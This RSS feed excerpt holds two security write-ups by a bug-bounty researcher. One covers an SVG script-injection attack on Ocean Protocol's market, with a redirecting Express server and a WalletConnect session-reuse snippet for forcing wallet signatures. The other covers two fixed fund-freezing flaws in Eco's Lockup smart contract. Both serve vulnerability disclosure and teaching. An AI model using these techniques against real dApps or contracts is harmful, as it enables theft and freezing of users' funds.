    &lt;/foreignObject&gt;
&lt;/svg&gt;
"><code><span class="hljs-operator">&#x3C;</span>svg xmlns<span class="hljs-operator">=</span><span class="hljs-string">"http://www.w3.org/2000/svg"</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>foreignObject<span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span>body xmlns<span class="hljs-operator">=</span><span class="hljs-string">"http://www.w3.org/1999/xhtml"</span><span class="hljs-operator">></span>
            <span class="hljs-operator">&#x3C;</span>script <span class="hljs-keyword">type</span><span class="hljs-operator">=</span><span class="hljs-string">"text/javascript"</span><span class="hljs-operator">></span>
            ...<span class="hljs-built_in">code</span>...
            <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>script<span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>body<span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>foreignObject<span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>svg<span class="hljs-operator">></span>
</code></pre></blockquote><p>There are other ways to run JS in SVG, but I consider this a most readable one.</p><p>But if you cannot make an impact, what’s the point of report? You need to find the impact, not attack vector.<br><br>So, I started diving deep.</p><blockquote><p>Ocean Protocol is pay-for-data-access protocol, where you get NFT that allows you to download stuff offchain - you sign string as proof of identity, and then download data from their servers.</p></blockquote><p>I tried to look through all the renderable fields on the project, but all of them, despite supporting markdown, were not rendering any images. Just text. Avatars were also processed, so… no chances?</p><p>But I got some really interesting findings during this research and research I did before:</p><ul><li><p>Data is “stored” in provider’s server; I do not remember the exact query, but request was something like <code>https://provider/api/services/download?nft_id=X&amp;signature=Y</code></p></li><li><p>NFT contains information about provider used; you can pass any provider you want, not only pre-defined centralised provider</p></li><li><p><code>api/services/download</code> link was not processed by fancy JS, it was simply <code>&lt;a href=X&gt;</code>, looking as button</p><ul><li><p>What was more interesting here, <code>a</code> tag wasn’t marked with <code>download</code> attribute, forcing to download everything you click; instead, they were relying on provider server to response with <code>Content-Disposition</code> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition">header</a>.</p></li></ul></li></ul><p>So, combined all together, turned out you can create some NFT, that - when you click “download” button - will get the provider hostname from this NFT, go to this provider, and behave as an ordinary link, following whatever this server will send.</p><p>For example, a redirect to our XSS.</p><p>Of course, some extra stuff had to be done, including CORS and other API endpoint proxying, but I’m omitting it here as a boring part, focusing on attack vector only.</p><p>This was my code at that moment:</p><pre data-type="codeBlock" text="require(&apos;express&apos;)()
    .get(&apos;/api/services/download&apos;, (req, res) =&gt; {
// this one should point to correct hostname
res.redirect(&apos;https://market.oceanprotocol.com/_ipx/w_100,q_1/https://...ngrok.io/svg.svg&apos;);
    })
    .get(&apos;/svg.svg&apos;, (req, res) =&gt; {
        res.contentType(&apos;image/svg+xml&apos;);
        res.send(`&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
    &lt;foreignObject&gt;
        &lt;body xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
            &lt;script type=&quot;text/javascript&quot;&gt;
            ...
            &lt;/script&gt;
        &lt;/body&gt;
    &lt;/foreignObject&gt;
&lt;/svg&gt;
`);
    })
"><code><span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>)()
    .get(<span class="hljs-string">'/api/services/download'</span>, (req, res) <span class="hljs-operator">=</span><span class="hljs-operator">></span> {
<span class="hljs-comment">// this one should point to correct hostname</span>
res.redirect(<span class="hljs-string">'https://market.oceanprotocol.com/_ipx/w_100,q_1/https://...ngrok.io/svg.svg'</span>);
    })
    .get(<span class="hljs-string">'/svg.svg'</span>, (req, res) <span class="hljs-operator">=</span><span class="hljs-operator">></span> {
        res.contentType(<span class="hljs-string">'image/svg+xml'</span>);
        res.<span class="hljs-built_in">send</span>(`<span class="hljs-operator">&#x3C;</span>svg xmlns<span class="hljs-operator">=</span><span class="hljs-string">"http://www.w3.org/2000/svg"</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>foreignObject<span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span>body xmlns<span class="hljs-operator">=</span><span class="hljs-string">"http://www.w3.org/1999/xhtml"</span><span class="hljs-operator">></span>
            <span class="hljs-operator">&#x3C;</span>script <span class="hljs-keyword">type</span><span class="hljs-operator">=</span><span class="hljs-string">"text/javascript"</span><span class="hljs-operator">></span>
            ...
            <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>script<span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>body<span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>foreignObject<span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>svg<span class="hljs-operator">></span>
`);
    })
</code></pre><p>So, at this moment I was able to execute any JS code within the target hostname context when user was clicking “download”… but what was I able to do? How to classify it?</p><p>This was a question I was asking myself for whole day before sending the report, actually. You do everything with your wallet, and nothing was stored in cookies… or was it?</p><p>Well, it was. WalletConnect v1 was re-using the locally stored data to not recreate the connection across the tabs, so, I will just show how it worked:</p><pre data-type="codeBlock" text="&lt;foreignObject width=&quot;100&quot; height=&quot;100&quot;&gt;
        &lt;body xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
            &lt;script src=&quot;https://cdn.jsdelivr.net/npm/@walletconnect/client@1.7.8/dist/umd/index.min.js&quot;&gt;&lt;/script&gt;
            &lt;script type=&quot;text/javascript&quot;&gt;
            const wc = new (WalletConnect.default)({bridge: &quot;https://bridge.walletconnect.org&quot;});
            wc.signPersonalMessage([&quot;hello&quot;, wc.accounts[0]])
            &lt;/script&gt;
        &lt;/body&gt;
&lt;/foreignObject&gt;
"><code><span class="hljs-operator">&#x3C;</span>foreignObject width<span class="hljs-operator">=</span><span class="hljs-string">"100"</span> height<span class="hljs-operator">=</span><span class="hljs-string">"100"</span><span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span>body xmlns<span class="hljs-operator">=</span><span class="hljs-string">"http://www.w3.org/1999/xhtml"</span><span class="hljs-operator">></span>
            <span class="hljs-operator">&#x3C;</span>script src<span class="hljs-operator">=</span><span class="hljs-string">"https://cdn.jsdelivr.net/npm/@walletconnect/client@1.7.8/dist/umd/index.min.js"</span><span class="hljs-operator">></span><span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>script<span class="hljs-operator">></span>
            <span class="hljs-operator">&#x3C;</span>script <span class="hljs-keyword">type</span><span class="hljs-operator">=</span><span class="hljs-string">"text/javascript"</span><span class="hljs-operator">></span>
            const wc <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> (WalletConnect.default)({bridge: <span class="hljs-string">"https://bridge.walletconnect.org"</span>});
            wc.signPersonalMessage([<span class="hljs-string">"hello"</span>, wc.accounts[<span class="hljs-number">0</span>]])
            <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>script<span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>body<span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>foreignObject<span class="hljs-operator">></span>
</code></pre><p>Yes, it was possible to re-use WalletConnect session to do the bad stuff.</p><p>Now that was some real thing here, as there was specific impact:</p><p><strong>Submitting malicious transactions to an already-connected wallet</strong></p><hr><p>But I was feeling like I need something as a topping. I spend a few hours more, thinking, and the final attack was the following. Describing it in text, as I provided the smallest PoC possible and I cannot find the original big PoC with all the features:</p><ul><li><p>victim clicks “download”</p></li><li><p>screen gets white for a few milliseconds, because victim is redirected to XSS SVG, that:</p><ul><li><p>take the WalletConnect session stored in localStorage</p></li><li><p>initiate download from bad server via JS api (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.stefanjudis.com/snippets/how-trigger-file-downloads-with-javascript/">like described here</a>) that will break in the middle</p></li><li><p>navigates back via <code>history.back()</code></p></li></ul></li><li><p>Screen gets back to original page</p></li><li><p>Bad server initiates some extra signature via WalletConnect, but with parameters he want</p></li></ul><p>From side of user it will be looking like he clicked download, then screen flashed white for a few frames (well, that happens sometimes in the web, right?), download broke and he is asked to sign again. Maybe because download broked, eh?</p><p>URL in this case will be generally unchanged, except few white frames that are distracting user, as <code>history.back()</code> API will generally load previous page instantly, not re-load it. This looks almost legit, and it was really feeling like being an evil mastermind.</p><hr><p>But, why it was scored as “none”? Turned out, they were using SaaS for publishing the app, and _ipx image vector was this SaaS vulnerability, not their app itself. And, according to their rules:</p><blockquote><p>Public deployments of the above repos. Deployments can be used as helpers, but penetration tests or similar are out of scope. Purpose of the bounty is to test the code in the repo.</p></blockquote><p>Technically, they were all correct and I had no ground to disagree, but I still was angry (okay, I was happy AND angry).</p><p>But after this report they closed the web app part of BB program, so I moved away my not-even-a-vuln-yet findings on Ocean. I was really angry, angry enough to learn Solidity and start looking for Solidity bugs. And that’s how my big journey started. I found my first Solidity crit within a few months after this resolution.</p><p>Sometimes you start doing good things with not the best motivation, but it’s output and intent that matters, not why you had this intent.</p><p>That’s it. I really wish to find more bugs of those kind, as this was super-interesting thing to research, but all the hybrid bugs I was finding were more like “break the subgraph”. I hope you enjoyed my text too.</p><p>Subscribe to my Twitter for more web3 security stuff:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/merkle_bonsai">https://twitter.com/merkle_bonsai</a></p>]]></content:encoded>
            <author>merkle-bonsai@newsletter.paragraph.com (Merkle Bonsai)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/d254fb88c0a7f71b25cd0c9bb0ad98c8c062c5836337ff4aaf3b708954c63a5a.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Bug report study: Eco Lockup contract]]></title>
            <link>https://paragraph.com/@merkle-bonsai/bug-report-study-eco-lockup-contract</link>
            <guid>wROXREnES3bn9Hz80dwb</guid>
            <pubDate>Thu, 13 Jul 2023 17:56:43 GMT</pubDate>
            <description><![CDATA[Storytelling partAt the moment of publication Eco is using new contracts which are not impacted by both of vulnerabilities; fix is covered with this PR dated Dec 10, 2022.2 bugs are covered within this article. I reported high (as I considered) bug last December, but project told they already fixed several things, including this issue, after another bug report, and their actual addresses are handling all of cases properly.Well, it happensHowever, their Immunefi Bug Bounty page and GitHub repo...]]></description>
            <content:encoded><![CDATA[<h2 id="h-storytelling-part" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Storytelling part</h2><blockquote><p>At the moment of publication Eco is using new contracts which are not impacted by both of vulnerabilities; fix is covered with <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/helix-foundation/currency/pull/4">this PR</a> dated Dec 10, 2022.</p></blockquote><p>2 bugs are covered within this article. I reported high (as I considered) bug last December, but project told they already fixed several things, including this issue, after another bug report, and their actual addresses are handling all of cases properly.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/57eda2d425fa7789915cd34fe3dfa62ca34e49e8b86dda468abd61df690e64a9.png" alt="Well, it happens" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Well, it happens</figcaption></figure><p>However, their Immunefi Bug Bounty page and GitHub repo were containing old contracts (they apologised for not updating them at proper time), and there was no obvious way to discover that they fixed something.</p><p>Looking back after several negotiations with various projects I understand that I was allowed to argue, stand on my position and probably make it a paid report. But that’s OK. I’m not blaming Eco here for anything, as - if I was part of their team - I would process that report in same manner.</p><p>On other hand, now I understand that <strong>I was able to argue and probably get rewarded on this report</strong>. Bug Bounty page docs is a public contract, and both sides must follow it.</p><blockquote><p>I have reports that were able to do real harm to the projects but were considered invalid due to “out of scope” and I see that projects can be forced by Immunefi to follow what is written on Bug Bounty page, even if they do not want to.</p></blockquote><p>My “Out of scope” reports with real impact were actually rewarded with smaller payout and my respects goes to those projects; it is represented in “total payouts” number but not in “report count” on leaderboard, which is a bit sad.</p><p>Also, there is really nice thing on some Immunefi projects now, called “primacy of impact”, which feels really like game-changer.</p><h2 id="h-lockup-bug-analysis-part" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Lockup</code> bug analysis part</h2><p>Let’s start with a code. You can see an original code here:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/helix-foundation/currency/blob/78f5a42738122f7e1b2fdf724e2852b9cf139f4c/contracts/governance/monetary/Lockup.sol">https://github.com/helix-foundation/currency/blob/78f5a42738122f7e1b2fdf724e2852b9cf139f4c/contracts/governance/monetary/Lockup.sol</a></p><p>I cleaned up and stylised code a little bit to show the code, not comments and notes.</p><pre data-type="codeBlock" text="pragma solidity ^0.8.0;

contract Lockup {
    struct DepositRecord {
        uint256 gonsDepositAmount;
        uint256 ecoDepositReward;
        uint256 lockupEnd;
        address delegate;
    }

    ERC20 public immutable ecoToken; //set up in constructor
    CurrencyTimer public immutable currencyTimer; //set up in constructor
    uint256 public duration; //set up in initializer
    uint256 public depositWindowEnd; //set up in initializer
    uint256 public constant DEPOSIT_WINDOW = 2 days;
    uint256 public interest; //set up in initializer
    uint256 public constant INTEREST_DIVISOR = 1e9;
    mapping(address =&gt; DepositRecord) public deposits;
    ...
    function deposit(uint256 _amount) external {
        internalDeposit(_amount, msg.sender, msg.sender);
    }

    function depositFor(uint256 _amount, address _benefactor) external {
        internalDeposit(_amount, msg.sender, _benefactor);
    }

    function withdraw() external {
        doWithdrawal(msg.sender, true);
    }

    function withdrawFor(address _who) external {
        doWithdrawal(_who, false);
    }

    function doWithdrawal(address _owner, bool _allowEarly) internal {
        DepositRecord storage _deposit = deposits[_owner];
        uint256 _gonsAmount = _deposit.gonsDepositAmount;
        require(_gonsAmount &gt; 0);
        bool early = getTime() &lt; _deposit.lockupEnd;
        require(_allowEarly || !early);
        uint256 _inflationMult = ecoToken.getPastLinearInflation(block.number);
        uint256 _amount = _gonsAmount / _inflationMult;
        uint256 _rawDelta = _deposit.ecoDepositReward;
        uint256 _delta = _amount &gt; _rawDelta ? _rawDelta : _amount;
        _deposit.gonsDepositAmount = 0;
        _deposit.ecoDepositReward = 0;
        ecoToken.undelegateAmountFromAddress(_deposit.delegate, _gonsAmount);
        require(ecoToken.transfer(_owner, _amount));
        currencyTimer.lockupWithdrawal(_owner, _delta, early);
    }

    function internalDeposit(uint256 _amount, address _payer, address _who) private {
        require(getTime() &lt; depositWindowEnd);
        require(ecoToken.transferFrom(_payer, address(this), _amount));
        DepositRecord storage _deposit = deposits[_who];
        uint256 _inflationMult = ecoToken.getPastLinearInflation(block.number);
        uint256 _gonsAmount = _amount * _inflationMult;
        address _primaryDelegate = ecoToken.getPrimaryDelegate(_who);
        ecoToken.delegateAmount(_primaryDelegate, _gonsAmount);
        _deposit.lockupEnd = getTime() + duration;
        _deposit.ecoDepositReward += (_amount * interest) / INTEREST_DIVISOR;
        _deposit.gonsDepositAmount += _gonsAmount;
        _deposit.delegate = _primaryDelegate;
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Lockup</span> </span>{
    <span class="hljs-keyword">struct</span> <span class="hljs-title">DepositRecord</span> {
        <span class="hljs-keyword">uint256</span> gonsDepositAmount;
        <span class="hljs-keyword">uint256</span> ecoDepositReward;
        <span class="hljs-keyword">uint256</span> lockupEnd;
        <span class="hljs-keyword">address</span> delegate;
    }

    ERC20 <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> ecoToken; <span class="hljs-comment">//set up in constructor</span>
    CurrencyTimer <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> currencyTimer; <span class="hljs-comment">//set up in constructor</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> duration; <span class="hljs-comment">//set up in initializer</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> depositWindowEnd; <span class="hljs-comment">//set up in initializer</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> DEPOSIT_WINDOW <span class="hljs-operator">=</span> <span class="hljs-number">2</span> <span class="hljs-literal">days</span>;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> interest; <span class="hljs-comment">//set up in initializer</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> INTEREST_DIVISOR <span class="hljs-operator">=</span> <span class="hljs-number">1e9</span>;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> DepositRecord) <span class="hljs-keyword">public</span> deposits;
    ...
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        internalDeposit(_amount, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">depositFor</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _amount, <span class="hljs-keyword">address</span> _benefactor</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        internalDeposit(_amount, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, _benefactor);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        doWithdrawal(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-literal">true</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdrawFor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _who</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        doWithdrawal(_who, <span class="hljs-literal">false</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">doWithdrawal</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner, <span class="hljs-keyword">bool</span> _allowEarly</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        DepositRecord <span class="hljs-keyword">storage</span> _deposit <span class="hljs-operator">=</span> deposits[_owner];
        <span class="hljs-keyword">uint256</span> _gonsAmount <span class="hljs-operator">=</span> _deposit.gonsDepositAmount;
        <span class="hljs-built_in">require</span>(_gonsAmount <span class="hljs-operator">></span> <span class="hljs-number">0</span>);
        <span class="hljs-keyword">bool</span> early <span class="hljs-operator">=</span> getTime() <span class="hljs-operator">&#x3C;</span> _deposit.lockupEnd;
        <span class="hljs-built_in">require</span>(_allowEarly <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-operator">!</span>early);
        <span class="hljs-keyword">uint256</span> _inflationMult <span class="hljs-operator">=</span> ecoToken.getPastLinearInflation(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span>);
        <span class="hljs-keyword">uint256</span> _amount <span class="hljs-operator">=</span> _gonsAmount <span class="hljs-operator">/</span> _inflationMult;
        <span class="hljs-keyword">uint256</span> _rawDelta <span class="hljs-operator">=</span> _deposit.ecoDepositReward;
        <span class="hljs-keyword">uint256</span> _delta <span class="hljs-operator">=</span> _amount <span class="hljs-operator">></span> _rawDelta ? _rawDelta : _amount;
        _deposit.gonsDepositAmount <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        _deposit.ecoDepositReward <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        ecoToken.undelegateAmountFromAddress(_deposit.delegate, _gonsAmount);
        <span class="hljs-built_in">require</span>(ecoToken.<span class="hljs-built_in">transfer</span>(_owner, _amount));
        currencyTimer.lockupWithdrawal(_owner, _delta, early);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">internalDeposit</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _amount, <span class="hljs-keyword">address</span> _payer, <span class="hljs-keyword">address</span> _who</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        <span class="hljs-built_in">require</span>(getTime() <span class="hljs-operator">&#x3C;</span> depositWindowEnd);
        <span class="hljs-built_in">require</span>(ecoToken.transferFrom(_payer, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), _amount));
        DepositRecord <span class="hljs-keyword">storage</span> _deposit <span class="hljs-operator">=</span> deposits[_who];
        <span class="hljs-keyword">uint256</span> _inflationMult <span class="hljs-operator">=</span> ecoToken.getPastLinearInflation(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span>);
        <span class="hljs-keyword">uint256</span> _gonsAmount <span class="hljs-operator">=</span> _amount <span class="hljs-operator">*</span> _inflationMult;
        <span class="hljs-keyword">address</span> _primaryDelegate <span class="hljs-operator">=</span> ecoToken.getPrimaryDelegate(_who);
        ecoToken.delegateAmount(_primaryDelegate, _gonsAmount);
        _deposit.lockupEnd <span class="hljs-operator">=</span> getTime() <span class="hljs-operator">+</span> duration;
        _deposit.ecoDepositReward <span class="hljs-operator">+</span><span class="hljs-operator">=</span> (_amount <span class="hljs-operator">*</span> interest) <span class="hljs-operator">/</span> INTEREST_DIVISOR;
        _deposit.gonsDepositAmount <span class="hljs-operator">+</span><span class="hljs-operator">=</span> _gonsAmount;
        _deposit.delegate <span class="hljs-operator">=</span> _primaryDelegate;
    }
}
</code></pre><p>Can you see both of the bugs?</p><p>It is OK to not see both of them, as #1 is fully represented in this code, however, #2 requires to understand how delegation mechanics work.</p><blockquote><p>If you want to try finding bug yourself, take a break and have a look on <code>depositFor</code> function, which is entry point of attack vector I’ve found. Another one is also abusing <code>depositFor</code>, but in way smarter manner.</p></blockquote><h2 id="h-bug-1-lockupend-extension" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Bug #1. <code>lockupEnd</code> extension</h2><p>This is the thing I discovered by myself.</p><p>Functions that affect others are always interesting spot to have a look. Here, <code>depositFor</code> allows to do some manipulations with <code>benefactor</code>, which is nice.</p><p>So, let’s have a look how the state will be changed in <code>internalDeposit</code>:</p><ul><li><p><code>ECO</code> will be forced to <code>delegateAmount</code> passed - the <code>amount</code> we just transferred few lines above, multiplied by <code>getPastLinearInflation</code>. Well, this looks OK, <code>Lockup</code> contract is just allowing you to delegate what you deposited, with some bonus for locking up your funds</p></li><li><p><code>benefactor</code>s deposit record gets modified:</p><ul><li><p><code>ecoDepositReward</code> and <code>gonsDepositAmount</code> increases. Seems legit</p></li><li><p><code>delegate</code> is changed to primary delegate of <code>benefactor</code> in <code>ECO</code> contract itself, which also seems legit (actually, it is not, but it is #2 topic)</p></li><li><p><code>lockupEnd</code> is increased to <code>now + duration</code>, and <strong>this is the thing that actually looked suspicious for me</strong></p></li></ul></li></ul><blockquote><p>To sum up: contract says that we are able to deposit anything to anyone via <code>depositFor(0, victim)</code>, which will increase victim’s <code>lockupEnd</code> to <code>now + duration</code>.</p></blockquote><p>I would personally call this just griefing, as this duration in all real contracts of Eco is just 1 day, but according to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://immunefi.com/immunefi-vulnerability-severity-classification-system-v2-2/">Immunefi severity classification</a> it is actually called <strong>Temporary freezing of funds</strong>. This is already classified as <strong>High</strong>, but what is a bit more interesting is that <code>withdrawal</code> function by default is applying flag <code>allowEarly</code>.</p><p>But things are actually more interesting! If we will look at <code>currencyTimer.lockupWithdrawal</code> function, you will see that <code>early</code> flag is passed as <code>penalty</code> flag, which means that by default user is able to withdraw anytime, but if he will do it before a lockup, he will pay instead of getting rewards, and his tokens will be burnt.</p><p>This means that attacker is able to use MEV to place his transaction with <code>depositFor(0, victim)</code> before victim calling <code>withdrawal</code> , which will make victim efficiently lose money instead of earning them, which can be classified by Immunefi as <strong>Permanent freezing of funds</strong> (well, it is loss, not freezing, but from user perspective it is more or less same), which is <strong>Critical</strong>.</p><p><em>Actually, I’m writing this lines and feel funny for myself for underrating my bug report as high 6 month ago.</em></p><p>In conclusion, this were my recommendations to the project based on this report:</p><ol><li><p>remove flag <code>_allowEarly: true</code> from <code>withdraw</code> and introduce separate <code>forceWithdraw</code> so there will be clear difference between user&apos;s intentions</p></li><li><p>only allow <code>depositFor</code> for targets with no locks yet or introduce approval model OR split deposits so user</p></li><li><p>(optional) add check in <code>internalDeposit</code> that verifies that amount is greater than zero</p></li></ol><h2 id="h-bug-2-locking-the-funds" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Bug #2. locking the funds</h2><p>This is the reason Eco updated their contract, efficiently fixing all quirks.</p><p>Nice description can be found in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/helix-foundation/currency/pull/4">PR</a> itself:</p><blockquote><p>If the Lockup monetary policy was activated, an address could siphon voting power from other participants in the lockup and lock their funds forever. The attacker address would delegate to a benefactor address and deposit a large amount into the lockup. This would cause the lockup to delegate that large amount to the benefactor address. Then, the attacker address would change their delegate to a victim address with an existing amount in the lockup. When the attacker address deposits a small amount into the lockup, the lockup contract would delegate the small amount to the victim address, but then add that small amount to the initial deposit as the total deposit. When the attacker withdraws, the lockup contract undelegates the total deposit amount from the victim address. The end result is that the benefactor address keeps the voting power forever and the victim address is unable to withdraw from the lockup because the lockup no longer has enough delegated to that address to undelegate.</p></blockquote><p>This is really hard to read, I had to do it 4 times to understand, let’s try to decompose and understand how it really works.</p><p>So, this is the simplified attack vector:</p><ul><li><p><strong>Victim</strong> is depositing, let’s say, 100 ECO, and he does not possess any other ECO. Delegation is handled too, so now <strong>Victim</strong> is delegated from <strong>Lockup</strong> contract with 100 ECO.</p></li><li><p><strong>Attacker</strong> is depositing same amount of 100 ECO</p></li><li><p><code>internalDeposit</code> is doing delegation via <code>ecoToken.delegateAmount(_primaryDelegate, _gonsAmount);</code></p></li><li><p><strong>Attacker</strong> changes his <code>primaryDelegate</code> to <strong>Victim</strong>, and then calls <code>deposit</code> again. Maybe even with <code>amount</code> 0, which, as we already know, is OK.This will, among other things, do <code>_deposit.delegate = _primaryDelegate</code></p></li><li><p>After that, he does withdrawal, which makes <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/helix-foundation/currency/blob/78f5a42738122f7e1b2fdf724e2852b9cf139f4c/contracts/currency/VoteCheckpoints.sol#L421">this call</a>:<code>ecoToken.undelegateAmountFromAddress(_deposit.delegate, _gonsAmount)</code>. As we remember, <code>_deposit.delegate</code> is <strong>Victim</strong> now, so after this call contract <code>VoteCheckpoints</code> will have this state: <code>_delegates[msg.sender][delegatee] == 0</code>.</p></li><li><p>Then, when <strong>Victim</strong> will attempt to withdraw something, he will not be able to do so, as he will be failing on this check:</p><pre data-type="codeBlock" text="require(
    _delegates[msg.sender][delegatee] &gt;= amount,
    &quot;amount not available to undelegate&quot;
);
"><code><span class="hljs-built_in">require</span>(
    _delegates[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>][delegatee] <span class="hljs-operator">></span><span class="hljs-operator">=</span> amount,
    <span class="hljs-string">"amount not available to undelegate"</span>
);
</code></pre></li></ul><p>Basically, this is also <strong>Permanent freezing of funds</strong>, which is <strong>Critical</strong>.</p><p>Sadly, I do not know who reported this bug to give my respects to him, and I do not know what were his recommendations, but I definitely think that it is excellent work - and a lesson for me.</p><p>I was looking through <code>Lockup.sol</code> for some time while building the report - and code surface is really small there - and did not note another <strong>critical</strong> laying literally on the next line to the one I was focused on.</p><hr><p>Thanks for reading! Subscribe to my Twitter for more web3 security stuff:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/merkle_bonsai">https://twitter.com/merkle_bonsai</a></p>]]></content:encoded>
            <author>merkle-bonsai@newsletter.paragraph.com (Merkle Bonsai)</author>
        </item>
    </channel>
</rss>